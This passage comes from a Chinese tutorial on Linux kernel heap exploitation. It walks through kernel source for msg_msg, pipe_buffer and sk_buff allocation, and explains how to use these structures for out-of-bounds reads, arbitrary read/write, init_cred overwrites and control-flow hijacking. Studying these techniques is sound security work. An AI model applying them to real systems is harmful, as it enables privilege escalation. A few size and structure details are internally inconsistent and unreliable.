      • msgtyp大于0:那么在find_msg函数中,就会将遍历寻找消息队列里的第一条等于msgtyp的消息,然后进行后续操作。
      • msgtyp等于0:即类似于顺序读取,find_msg函数会直接获取到消息队列首个消息。
      • msgtyp小于0:会将等待的消息当成优先队列来处理,mtype的值越小,其优先级越高。
  • msg_flag

可以关注一下MSG_NOERROR标志位,比如说msg_flag没有设置MSG_NOERROR的时候,那么情况如下:

假定获取消息时输入的长度m_ts_size0x200,且这个长度大于通过find_msg()函数获取到的消息长度0x200,则可以顺利读取,如果该长度小于获取到的消息长度0x200,则会出现如下错误

但是如果设置了MSG_NOERROR,那么即使传入接收消息的长度小于获取到的消息长度,仍然可以顺利获取,但是多余的消息会被截断,相关内存还是会被释放,这个在源代码中也有所体现。

1
2
3
4
5
//v5.11 /ipc/msg.c do_msgrcv函数中
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
msg = ERR_PTR(-E2BIG);
goto out_unlock0;
}

此外还有更多的msg_flag,就不一一举例了。

③释放

这个主要是用到msgctl封装函数或者__NR_msgctl系统调用,直接释放掉所有的消息结构,包括申请的msg_queue的结构

1
2
3
4
5
6
//其中IPC_RMID这个cmd命令代表释放掉该消息队列的所有消息,各种内存结构体等
if(msgctl(queue_id,IPC_RMID,NULL)==-1)
{
perror("msgctl");
exit(-1);
}

不过一般也用不到,可能某些合并obj的情况能用到?

此外还有更多的cmd命令,常用来设置内核空间的msg_queue结构上的相关数据,不过多介绍了。

总结

总结一下大致的使用方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
typedef struct
{
long mtype;
char mtext[1];
}msgp;

int32_t make_queue(key_t key, int msg_flag)
{
int32_t result;
if ((result = msgget(key, msg_flag)) == -1)
{
perror("msgget failure");
exit(-1);
}
return result;
}



void get_msg(int msg_queue_id, void *msg_buf, size_t msg_size, long msgtyp, int msg_flag)
{
if (msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) < 0)
{
perror("msgrcv");
exit(-1);
}
return;
}

void send_msg(int msg_queue_id, void *msg_buf, size_t msg_size, int msg_flag)
{
if (msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag) == -1)
{
perror("msgsend failure");
exit(-1);
}
return;
}


int main()
{
int queue_id, m_ts_size;
char queue_recv_buf[0x2000];
char queue_send_buf[0x2000];

m_ts_size = 0x400-0x30;
msgp *message = (msgp *)queue_send_buf;
message->mtype = 0;

memset(message->mtext,'\xaa', m_ts_size);
memset(queue_recv_buf, '\xbb', sizeof(queue_recv_buf));

queue_id = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(queue_id, message, m_ts_size, 0);
get_msg(queue_id, queue_recv_buf, m_ts_size, 0, IPC_NOWAIT | MSG_COPY);

return 0;
}

(2)内存分配与释放

①创建

A.内存申请
  • 还是需要先创建msg_queue结构体,使用msgget函数,调用链为

    1
    msgget(key,msg_flag)->ksys_msgget()->ipcget()->ipcget_new()->newque()

    主要还是关注最后的newque()函数,在该函数中使用kvmalloc()申请堆块,大小为0x100,属于kmalloc-256,(不同版本大小貌似不同)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    //v5.11 /ipc/msg.c
    static int newque(struct ipc_namespace *ns, struct ipc_params *params)
    {
    struct msg_queue *msq;
    int retval;
    key_t key = params->key;
    int msgflg = params->flg;

    //这个才是实际申请的堆块内存
    msq = kvmalloc(sizeof(*msq), GFP_KERNEL);
    if (unlikely(!msq))
    return -ENOMEM;

    msq->q_perm.mode = msgflg & S_IRWXUGO;
    msq->q_perm.key = key;

    msq->q_perm.security = NULL;
    //进行相关注册
    retval = security_msg_queue_alloc(&msq->q_perm);
    if (retval) {
    kvfree(msq);
    return retval;
    }

    //初始化
    msq->q_stime = msq->q_rtime = 0;
    msq->q_ctime = ktime_get_real_seconds();
    msq->q_cbytes = msq->q_qnum = 0;
    msq->q_qbytes = ns->msg_ctlmnb;
    msq->q_lspid = msq->q_lrpid = NULL;
    INIT_LIST_HEAD(&msq->q_messages);
    INIT_LIST_HEAD(&msq->q_receivers);
    INIT_LIST_HEAD(&msq->q_senders);

    //下面一堆看不懂在干啥
    /* ipc_addid() locks msq upon success. */
    retval = ipc_addid(&msg_ids(ns), &msq->q_perm, ns->msg_ctlmni);
    if (retval < 0) {
    ipc_rcu_putref(&msq->q_perm, msg_rcu_free);
    return retval;
    }
    ipc_unlock_object(&msq->q_perm);
    rcu_read_unlock();

    return msq->q_perm.id;
    }

    创建的结构体如下所示

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    //v5.11 /ipc/msg.c
    struct msg_queue {
    //这些为一些相关信息
    struct kern_ipc_perm q_perm;
    time64_t q_stime; /* last msgsnd time */
    time64_t q_rtime; /* last msgrcv time */
    time64_t q_ctime; /* last change time */
    unsigned long q_cbytes; /* current number of bytes on queue */
    unsigned long q_qnum; /* number of messages in queue */
    unsigned long q_qbytes; /* max number of bytes on queue */
    struct pid *q_lspid; /* pid of last msgsnd */
    struct pid *q_lrpid; /* last receive pid */

    //存放msg_msg相关指针next、prev,比较重要,通常拿来溢出制造UAF
    //和该消息队列里的所有消息组成双向循环链表
    struct list_head q_messages;
    struct list_head q_receivers;
    struct list_head q_senders;
    } __randomize_layout;

  • 接着当使用msgsnd函数传递消息时,会创建新的msg_msg结构体,消息过长的话就会创建更多的msg_msgseg来存储更多的消息。相关的函数调用链如下:

    1
    msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag)->do_msgsnd()->load_msg()->alloc_msg()

    主要还是关注在alloc_msg()函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    //v5.11 /ipc/msgutil.c
    static struct msg_msg *alloc_msg(size_t len)
    {
    struct msg_msg *msg;
    struct msg_msgseg **pseg;
    size_t alen;

    //最大发送DATALEN_MSG长度的消息
    //#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
    //这里的PAGE_SIZE为0x400,即最多kmalloc-
    alen = min(len, DATALEN_MSG);
    //使用正常
    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
    if (msg == NULL)
    return NULL;

    //如果传入消息长度超过0x400-0x30,就再进行申请msg_msgseg。
    //使用kmalloc申请,标志为GFP_KERNEL_ACCOUNT。
    //最大也为0x400,也属于kmalloc-1024
    //还有再长的消息,就再申请msg_msgseg
    msg->next = NULL;
    msg->security = NULL;
    len -= alen;
    pseg = &msg->next;
    while (len > 0) {
    struct msg_msgseg *seg;
    //不知道干啥的
    cond_resched();

    alen = min(len, DATALEN_SEG);
    seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
    //申请完之后,将msg_msgseg放到msg->next这个单向链表上
    if (seg == NULL)
    goto out_err;
    *pseg = seg;
    seg->next = NULL;
    pseg = &seg->next;
    len -= alen;
    }

    return msg;

    out_err:
    free_msg(msg);
    return NULL;
    }
    • msg_msg结构体如下,头部大小0x30

      1
      2
      3
      4
      5
      6
      7
      8
      9
      //v5.11 /include/linux/msg.h
      struct msg_msg {
      struct list_head m_list;//与msg_queue或者其他的msg_msg组成双向循环链表
      long m_type;
      size_t m_ts; /* message text size */
      struct msg_msgseg *next;//单向链表,指向该条信息后面的msg_msgseg
      void *security;
      /* the actual message follows immediately */
      };

      如下所示

      image-20220511220130886
    • msg_msgseq结构如下,只是一个struct msg_msgseg*指针

      1
      2
      3
      4
      5
      //v5.11 /ipc/msgutil.c
      struct msg_msgseg {
      struct msg_msgseg *next;
      /* the next part of the message follows immediately */
      };

      如下所示

      image-20220511220627775
相关内存结构:

在一个msg_queue队列下,消息长度为0x1000-0x30-0x8-0x8-0x8

  • 一条消息:

    image-20220511231539231

  • 两条消息:

    msg_queuestruct list_head q_messages;域为链表头,和msg_msg结构的struct list_head m_list域串联所有的msg_msg形成双向循环链表

    未命名文件

同理,同一个msg_queue消息队列下的多条消息也是类似的

内存申请总结:
  • 使用msgget()函数创建内核空间的消息队列结构msg_msgseg,返回值为消息队列的id标志queue_id
    • msg_msgseg管理整个消息队列,大小为0x100,kmalloc-256
    • struct list_head q_messages;域为链表头,和msg_msg结构的struct list_head m_list域串联所有的msg_msg形成双向循环链表
  • 每次在该消息队列queue_id下调用msgsnd()函数都会申请内核空间的msg_msg结构,消息长度大于0x400-0x30就会申请内核空间的msg_msgseg结构
    • msg_msg为每条消息存放消息数据的结构,与msg_queue形成双向循环链表,与msg_msgseg形成单向链表大小最大为0x400,属于kmalloc-64kmalloc-1024
    • msg_msgseg也为每条消息存放消息数据的结构,挂在msg_msg单向链表中,大小最大为0x400,属于kmalloc-16kmalloc-1024,当消息长度很长时就会申请很多的内核空间的msg_msgseg结构。
B.数据复制

调用完alloc_msg()函数后,回到load_msg()函数接着进行数据复制,函数还是挺简单的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;

msg = alloc_msg(len);
if (msg == NULL)
return ERR_PTR(-ENOMEM);

//先复制进msg_msg中存放消息的部分
alen = min(len, DATALEN_MSG);
if (copy_from_user(msg + 1, src, alen))
goto out_err;

//遍历msg_msg下的msg_msgseg,逐个存放数据进去
for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}

err = security_msg_msg_alloc(msg);
if (err)
goto out_err;

return msg;

out_err:
free_msg(msg);
return ERR_PTR(err);
}

②释放

相关的函数调用链

1
msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag)->SYS_msgrcv()->ksys_msgrcv()->do_msgrcv()->do_msg_fill()->store_msg()

首先关注一下do_msgrcv()函数,里面很多东西都比较重要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
int mode;
struct msg_queue *msq;
struct ipc_namespace *ns;
struct msg_msg *msg, *copy = NULL;
DEFINE_WAKE_Q(wake_q);
//....
if (msqid < 0 || (long) bufsz < 0)
return -EINVAL;
//设置了MSG_COPY标志位就会准备一个msg_msg的副本copy,通常用来防止unlink
if (msgflg & MSG_COPY) {
//从这里可以看出,同样也需要设置IPC_NOWAIT标志位才不会出错
if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
return -EINVAL;
//这个prepare_copy()函数内部调用了load_msg()函数来创建一个新的msg_msg/msg_msgseg
//传入的size参数为bufsz,就用户空间实际需要消息的长度,那么申请的堆块长度就可变了
//不一定是这条消息的长度,而是由我们直接控制,虽然最后也会释放掉
copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
/*
static inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz)
{
struct msg_msg *copy;

copy = load_msg(buf, bufsz);
if (!IS_ERR(copy))
copy->m_ts = bufsz;
return copy;
}
*/
if (IS_ERR(copy))
return PTR_ERR(copy);
}
//这样就不会将msg_msg从msg_queue消息队列中进行Unlink摘除
//只是释放堆块,在后续的代码中有显示
//......
//开始从msg_queue中寻找合适的msg_msg
for (;;) {
//.....
msg = find_msg(msq, &msgtyp, mode);
if (!IS_ERR(msg)) {
/*
* Found a suitable message.
* Unlink it from the queue.
*/
//最好设置MSG_NOERROR标志位,这样请求获取消息长度小于m_ts程序也不会退出了
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
msg = ERR_PTR(-E2BIG);
goto out_unlock0;
}
/*
* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
//设置了MSG_COPY标志位就会将msg数据复制给copy,然后将copy赋给msg
if (msgflg & MSG_COPY) {
//这个copy_msg()函数就是之前提到的在汇编层面就很奇怪
msg = copy_msg(msg, copy);
goto out_unlock0;
}

//下面是将msg_msg从和msg_queue组成的双向循环链表中unlink出来的部分
list_del(&msg->m_list);
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
atomic_sub(msg->m_ts, &ns->msg_bytes);
atomic_dec(&ns->msg_hdrs);
ss_wakeup(msq, &wake_q, false);

goto out_unlock0;
}
//....
}

out_unlock0:
ipc_unlock_object(&msq->q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
//如果存在copy副本,那么就free掉copy副本,然后返回,而不会free掉原本的msg堆块
if (IS_ERR(msg)) {
free_copy(copy);
return PTR_ERR(msg);
}
//这个msg_handler函数指针即为传入的do_msg_fill()函数,从里面进行相关的数据复制
bufsz = msg_handler(buf, msg, bufsz);
//最后在这里进行相关堆块的释放
free_msg(msg);

return bufsz;
}

A.非堆块释放的数据读取

一般而言,我们使用msg_msg进行堆构造(比如溢出或者其他什么的)的时候,当需要从消息队列中读取消息而又不想释放该堆块时,会结合MSG_COPY这个msgflg标志位,防止在读取的时候发生堆块释放从而进行双向循环链表的unlink触发错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//v5.11 do_msgrcv()函数中的
/* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy);
goto out_unlock0;
}

//下面是unlink的部分,如果msg_msg结构被修改了可能会出错的
list_del(&msg->m_list);
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
atomic_sub(msg->m_ts, &ns->msg_bytes);
atomic_dec(&ns->msg_hdrs);
ss_wakeup(msq, &wake_q, false);

goto out_unlock0;

使用这个标志位还需要在内核编译的时候设置CONFIG_CHECKPOINT_RESTORE=y才行,否则还是会出错的

1
2
3
4
5
6
7
8
9
10
11
12
13
//v5.11 /ipc/msgutil.c
#ifdef CONFIG_CHECKPOINT_RESTORE
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
//正常的一些数据复制
}
#else
//如果没有设置CONFIG_CHECKPOINT_RESTORE=y则会出错
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
return ERR_PTR(-ENOSYS);
}
#endif

🔺注:还有一点不知道是不是什么bug,在某些内核版本中,至少我的v5.11中,MSG_NOERRORMSG_COPY(后续会讲到)没有办法同时生效,关键点在于copy_msg()函数中,转化成汇编如下:

image-20220512163536660

注意到红框的部分,获取rdi(msg)rsi(copy)对应的m_ts进行比较,而copym_ts是从用户传进来的想要获取消息的长度,如果小于实际的msgm_ts长度,那就标记错误然后退出。可以这个比较应该是在后面才会进行的,但是这里也突然冒出来,就很奇怪,导致这两个标志位没办法同时发挥作用。

B.释放堆块的消息读取

同理如果不指定MSG_COPY这个标志时,从消息队列中读取消息就会触发内存释放,这里就可以依据发送消息时设置的mtype和接收消息时设置的msgtpy来进行消息队列中各个位置的堆块的释放。

C.数据复制

不管什么标志位,只要不是MSG_NOERRORMSG_COPY联合起来,并且申请读取消息长度size小于通过find_msg()函数获取到的实际消息的m_ts,那么最终都会走到do_msgrcv()函数的末尾,通过如下代码进行数据复制和堆块释放

1
2
bufsz = msg_handler(buf, msg, bufsz);
free_msg(msg);

(3)利用

越界读取

这样,当我们通过之前提到的double-free/UAF,并且再使用setxattr来对msg_msgmsg中的m_ts进行修改,这样在我们调用msgrcv的时候就能越界从堆上读取内存了,就可能能够泄露到堆地址或者程序基地址。

使用setxattr的时候需要注意释放堆块时FD的位置,不同内核版本开启不同保护下FD的位置不太一样

为了获取到地址的成功性更大,我们就需要用到单个msg_queue和单个msg_msg的内存模型

image-20220511113542467

可以看到单个msg_msgmsg_queue的管理下形成双向循环链表,所以如果我们通过msggetmsgsnd多申请一些相同大小的且只有一个msg_msg结构体的msg_queue,那么越界读取的时候,就可以读取到只有单个msg_msg的头部了

而单个msg_msg由于双向循环链表,其头部中又存在指向msg_queue的指针,那么这样就能泄露出msg_queue的堆地址了。

任意读取

完成上述泄露msg_queue的堆地址之后,就需要用到msg_msg的内存布局了

由于我们的msg_msg消息的内存布局如下

5IcVxRaFQtg3HCW

相关读取源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//v4.9----ipc/msgutil.c
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
----------------------------------------------------------------
int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
size_t alen;
struct msg_msgseg *seg;

alen = min(len, DATALEN_MSG);
if (copy_to_user(dest, msg + 1, alen))
return -1;

for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
dest = (char __user *)dest + alen;
alen = min(len, DATALEN_SEG);
if (copy_to_user(dest, seg + 1, alen))
return -1;
}
return 0;
}

所以如果我们可以修改next指针和m_ts,结合读取msg最终调用函数store_msg的源码,那么就能够实现任意读取。

那么接着上面的,我们得到msg_queue之后,可以再将msg_msg的next指针指回msg_queue,读出其中的msg_msg,就能获得当前可控堆块的堆地址。

这样完成之后,我们结合userfaultfdsetxattr频繁修改next指针就能基于当前堆地址来进行内存搜索了,从而能够完成地址泄露。

同时需要注意的是,判断链表是否结束的依据为next是否为null,所以我们任意读取的时候,最好找到一个地方的next指针处的值为null。

任意写

同样的,msg_msg由于next指针的存在,结合msgsnd也具备任意地址写的功能。我们可以在拷贝的时候利用userfaultfd停下来,然后更改next指针,使其指向我们需要的地方,比如init_cred结构体位置,从而直接修改进行提权。

2.pipe管道—kmalloc-1024/kmalloc-192

参照:(31条消息) Linux系统调用:pipe()系统调用源码分析_rtoax的博客-CSDN博客_linux pipe 源码****

通常来讲,管道用来在父进程和子进程之间通信,因为fork出来的子进程会继承父进程的文件描述符副本。这里就使用当前进程来创建管道符,从管道的读取端(pipe_fd[0])和写入端(pipe_fd[1])来进行利用。

(1)使用方法

①创建

1
2
3
4
5
6
7
#include <unistd.h>

//使用pipe或者pipe2
int pipe_fd[2];

pipe(pipe_fd);//默认阻塞状态
//pipe2(pipe_fd,flag);

其中pipe2函数或者系统调用__NR_pipe2flag支持除0之外的三种模式,可用在man手册中查看。

如果传入的flag为0,则和pipe函数是一样的,是阻塞的。

阻塞状态:即当没有数据在管道中时,如果还调用read从管道读取数据,那么就会使得程序处于阻塞状态,其他的也是类似的情况。

会默认创建两个fd文件描述符的,该fd文件描述符效果的相关结构如下

1
2
3
4
5
6
7
8
9
10
11
//v5.9  /fs/pipe.c
const struct file_operations pipefifo_fops = {
.open = fifo_open,
.llseek = no_llseek,
.read_iter = pipe_read,
.write_iter = pipe_write,
.poll = pipe_poll,
.unlocked_ioctl = pipe_ioctl,
.release = pipe_release,
.fasync = pipe_fasync,
};

放入到pipe_fd中,如下

1
2
3
4
5
int pipe_fd[2];
pipe(pipe_fd);

printf("pipe_fd[0]:%d\n",pipe_fd[0]);
printf("pipe_fd[1]:%d\n",pipe_fd[1]);

效果如下:

image-20220509161948796

之后使用write/read来写入读取即可,注意写入端为fd[1],读取端为fd[0]

1
2
3
4
char buf[0x8] = {0};
char* msg = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
write(pipe_fd[1],msg,0x8);
read(pipe_fd[0],buf,0x8);

②释放

由于pipe管道创建后会对应创建文件描述符,所以释放两端对应的文件描述符即可释放管道pipe管道

1
2
close(pipe_fd[0]);
close(pipe_fd[1]);

需要将两个文件描述符fd都给释放掉或者使用read将管道中所有数据都读取出来,才会进入free_pipe_info函数来释放在线性映射区域申请的相关内存资源,否则还是不会进入的。

(2)内存分配与释放

①分配

发生在调用pipe/pipe2函数,或者系统调用__NR_pipe/__NR_pipe2时,内核入口为

1
2
3
4
5
6
7
8
9
SYSCALL_DEFINE2(pipe2, int __user *, fildes, int, flags)
{
return do_pipe2(fildes, flags);
}

SYSCALL_DEFINE1(pipe, int __user *, fildes) /* pipe() 系统调用 */
{
return do_pipe2(fildes, 0);
}

函数调用链:

1
do_pipe2()->__do_pipe_flags()->create_pipe_files()->get_pipe_inode()->alloc_pipe_info()

调用之后会在内核的线性映射区域进行内存分配,也就是常见的内核堆管理的区域。分配点在如下函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//v5.9 /fs/pipe.c
struct pipe_inode_info *alloc_pipe_info(void)
{
struct pipe_inode_info *pipe;
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;

//#define PIPE_DEF_BUFFERS 16
//.....
//pipe_inode_info管理结构,大小为0xa0,属于kmalloc-192
pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
if (pipe == NULL)
goto out_free_uid;

//.....
//相关的消息结构为pipe_buffer数组,总共16*0x28=0x280,直接从kmalloc-1024中拿取堆块
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);

//.....
//对申请的pipe管道进行一些初始化
if (pipe->bufs) {
init_waitqueue_head(&pipe->rd_wait);
init_waitqueue_head(&pipe->wr_wait);
pipe->r_counter = pipe->w_counter = 1;
pipe->max_usage = pipe_bufs;
pipe->ring_size = pipe_bufs;
pipe->nr_accounted = pipe_bufs;
pipe->user = user;
mutex_init(&pipe->mutex);
return pipe;
}

//.....
//出错的话则会释放掉,具体干啥的不太清楚
out_free_uid:
free_uid(user);
return NULL;
}

相关的pipe_inode_info结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//v5.9 /include/linux/pipe_fs_i.h
struct pipe_inode_info {
struct mutex mutex;
wait_queue_head_t rd_wait, wr_wait;
unsigned int head;
unsigned int tail;
unsigned int max_usage;
unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
bool note_loss;
#endif
unsigned int nr_accounted;
unsigned int readers;
unsigned int writers;
unsigned int files;//文件描述符计数,都为0时才会释放管道
unsigned int r_counter;
unsigned int w_counter;
struct page *tmp_page;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
//pipe_buffer数组,16个,每个大小为0xa0,通常我们从这上面泄露地址或者劫持程序流
struct pipe_buffer *bufs;
struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
struct watch_queue *watch_queue;
#endif
};

②释放

直接使用close函数释放管道相关的文件描述符fd两端。

函数链调用链:

1
pipe_release()->put_pipe_info()->free_pipe_info()

需要注意的时,在put_pipe_info函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//v5.9 /fs/pipe.c
static void put_pipe_info(struct inode *inode, struct pipe_inode_info *pipe)
{
int kill = 0;

spin_lock(&inode->i_lock);
if (!--pipe->files) {
inode->i_pipe = NULL;
kill = 1;
}
spin_unlock(&inode->i_lock);

//当files为0才会进入该函数
if (kill)
free_pipe_info(pipe);
}

只有pipe_inode_info这个管理结构中的files成员为0,才会进行释放,也就是管道两端都关闭掉才行。

相关释放函数free_pipe_info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//v5.9 /fs/pipe.c
void free_pipe_info(struct pipe_inode_info *pipe)
{
int i;
//....
//和管道相关的释放有关,也是相关的漏洞点
for (i = 0; i < pipe->ring_size; i++) {
struct pipe_buffer *buf = pipe->bufs + i;
if (buf->ops)
pipe_buf_release(pipe, buf);
}
//......
//释放pipe_buffer数组,kmalloc-1024
kfree(pipe->bufs);
//释放pipe_inode_info管理结构,kmalloc-192
kfree(pipe);
}

(3)利用

①信息泄露

pipe_buffer结构的buf

1
2
3
4
5
6
7
8
//v5.9 /include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

其中的ops成员,即struct pipe_buf_operations结构的pipe->bufs[i]->ops,其中保存着全局的函数表,可通过这个来泄露内核基地址,相关结构如下所示

1
2
3
4
5
6
7
8
9
10
//v5.9 /include/linux/pipe_fs_i.h
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);

void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);

bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

②劫持程序流

当关闭了管道的两端时,调用到free_pipe_info函数,在清理pipe_buffer时进入如下判断:

1
2
if (buf->ops)
pipe_buf_release(pipe, buf);

当管道中存在未被读取的数据时,即我们需要调用write向管道的写入端写入数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//v5.9 /fs/pipe.c
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
//......
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
//......
buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
//......

}

然后不要将数据全部读取出来,如果全部读取出来的话,那么在read对应的pipe_read函数中就会如下情况

1
2
3
4
5
6
7
8
9
10
11
12
13
//v5.9  /fs/pipe.c
static ssize_t
pipe_read(struct kiocb *iocb, struct iov_iter *to)
{
//....
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
//....
if (!buf->len) {
pipe_buf_release(pipe, buf);
//....
}
//....
}

从而调用pipe_buf_releasebuf->ops清空。

🔺注:(其实这里既然调用到了pipe_buf_release函数,那么我们直接通过read将管道pipe中的所有数据读取出来,其实也能执行该release函数指针的,从而劫持程序控制流的。)

那么接着上述的情况,那么在关闭两端时buf->ops这个函数表就会存在

image-20220509192251738

而当buf->ops这个函数表存在时,关闭管道符两端进入上述判断之后,就会调用到其中的pipe_buf_release函数,该函数会调用到这个buf->ops函数表结构下对应的relase函数指针,该指针在上述的pipe_buf_operations结构中有提到

image-20220509193945468

那么如果劫持了buf->ops这个函数表,就能控制到release函数指针,从而劫持控制流程。

不过pipe管道具体的保存的数据放在哪里,还是不太清楚,听bsauce说是在struct pipe_buffer结构下bufpage里面,但是没有找到,后续还需要继续看看,先mark一下。这样也可以看出来,每写入一条信息时,内核的kmalloc对应的堆内存基本是不发生变化的,与下面提到的sk_buff有点不同。

3.sk_buff—kmalloc-512及以上

参考:(31条消息) socketpair的用法和理解_雪过无痕_的博客-CSDN博客_socketpair

和该结构体相关的是一个socketpair系统调用这个也算是socket网络协议的一种,但是是在本地进程之间通信的,而非在网络之间的通信。说到底,这个其实和pipe非常像,也是一个进程间的通信手段。不过相关区分如下:

  • 数据传输模式
    • pipe:单工,发送端fd[1]发送数据,接收端fd[0]接收数据
    • socketpair:全双工,同一时刻两端均可发送和接收数据,无论信道中的数据是否被接收完毕。
  • 模式
    • pipe:由flag来定义不同模式
    • socketpair:默认阻塞状态

此外在《Linux系统编程手册》一书中提到,pipe()函数实际上被实现成了一个对socketpair的调用。

(1)使用方法

①创建

1
2
3
4
5
6
7
8
9
10
#include <sys/socket.h>

//默认必须
int socket_fd[2];
//domain参数必须被指定为AF_UNIX,不同的
int sockPair_return = socketpair(AF_UNIX, SOCK_STREAM, 0, socket_fd);
if( sockPair_return < 0){
perror( "socketpair()" );
exit(1);
}

然后和pipe管道一样,使用write/read即可,不过这个的fd两端都可以写入读取,但是消息传递的时候一端写入消息,就需要从另一端才能把消息读取出来

1
2
3
4
char buf[0x8] = {0};
char* msg = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
write(socket_fd[0],msg,0x8);
read(socket_fd[1],buf,0x8);

②释放

1
2
close(socket_fd[0]);
close(socket_fd[1]);

可以看到和pipe是很相似的。

(2)内存分配与释放

在调用socketpair这个系统调用号时,并不会进行相关的内存分配,只有在使用write来写入消息,进行数据传输时才会分配。

①分配

在调用write进行数据写入时

函数链:

1
write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg()->内存申请/数据复制

unix_stream_sendmsg开始分叉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
//v5.9 /net/unix/af_unix.c
static int unix_stream_sendmsg(struct socket *sock, struct msghdr *msg,
size_t len)
{
struct sock *sk = sock->sk;
struct sock *other = NULL;
int err, size;
struct sk_buff *skb;
int sent = 0;
struct scm_cookie scm;
bool fds_sent = false;
int data_len;
//.....
while (sent < len) {
size = len - sent;
